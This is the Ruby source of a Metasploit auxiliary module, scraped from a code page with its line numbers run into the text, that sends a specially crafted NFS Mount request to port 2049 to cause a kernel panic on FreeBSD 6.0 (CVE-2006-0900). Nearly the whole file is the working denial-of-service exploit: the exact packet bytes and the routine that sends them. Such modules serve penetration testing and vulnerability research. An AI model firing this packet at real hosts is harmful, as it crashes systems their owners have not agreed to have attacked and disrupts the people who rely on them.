Path: blob/master/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service',14'Description' => %q{15This module sends a specially-crafted NFS Mount request causing a16kernel panic on host running FreeBSD 6.0.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' => [21[ 'BID', '16838' ],22[ 'OSVDB', '23511' ],23[ 'CVE', '2006-0900' ],24],25'Notes' => {26'Stability' => [CRASH_OS_DOWN],27'SideEffects' => [],28'Reliability' => []29}30)31)3233register_options([Opt::RPORT(2049),])34end3536def run37connect3839pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02"40pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00"41pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"4243print_status('Sending dos packet...')4445sock.put(pkt)4647disconnect48end49end505152